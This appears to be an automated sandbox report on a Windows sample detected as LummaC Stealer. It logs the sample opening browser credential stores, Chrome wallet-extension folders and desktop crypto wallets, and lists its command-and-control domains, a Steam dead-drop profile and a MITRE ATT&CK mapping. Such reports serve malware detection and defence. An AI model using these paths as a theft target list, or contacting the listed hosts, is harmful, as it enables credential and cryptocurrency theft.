Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Source: Yara match	File source: 00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ji2xlo1f.exe PID: 4176, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ji2xlo1f.exe PID: 4176, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	122 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ji2xlo1f.exe	50%	ReversingLabs	Win32.Trojan.Lumma
ji2xlo1f.exe	100%	Avira	HEUR/AGEN.1313948
ji2xlo1f.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com/apijson	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/Akys	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/n#	0%	Avira URL Cloud	safe
https://lev-tolstoi.com:443/apical	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/r	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apiic	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/qWU0rNf#	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/e	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/a	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/v#	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/rsF#	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apiN#	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apix	0%	Avira URL Cloud	safe
https://lev-tolstoi.com:443/api2	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apim	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
nightybinybz.shop	unknown	unknown	true	unknown
moutheventushz.shop	unknown	unknown	true	unknown
standartedby.shop	unknown	unknown	true	unknown
terracedjz.cyou	unknown	unknown	false	high
respectabosiz.shop	unknown	unknown	true	unknown
conceszustyb.shop	unknown	unknown	true	unknown
bakedstusteeb.shop	unknown	unknown	false	high
mutterissuen.shop	unknown	unknown	true	unknown
worddosofrm.shop	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
nightybinybz.shop	false	high
moutheventushz.shop	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
standartedby.shop	false	high
https://lev-tolstoi.com/api	false	high
bakedstusteeb.shop	false	high
respectabosiz.shop	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiic	ji2xlo1f.exe, 00000001.00000002.2584910256.00000000016E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lev-tolstoi.com/r	ji2xlo1f.exe, 00000001.00000003.2491396441.00000000016F6000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483290597.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apijson	ji2xlo1f.exe, 00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lev-tolstoi.com:443/apical	ji2xlo1f.exe, 00000001.00000003.2571494048.00000000016E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=0Xxx	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/e	ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/a	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/v#	ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lev-tolstoi.com/	ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001695000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2491194547.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/qWU0rNf#	ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/Akys	ji2xlo1f.exe, 00000001.00000003.2506963341.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
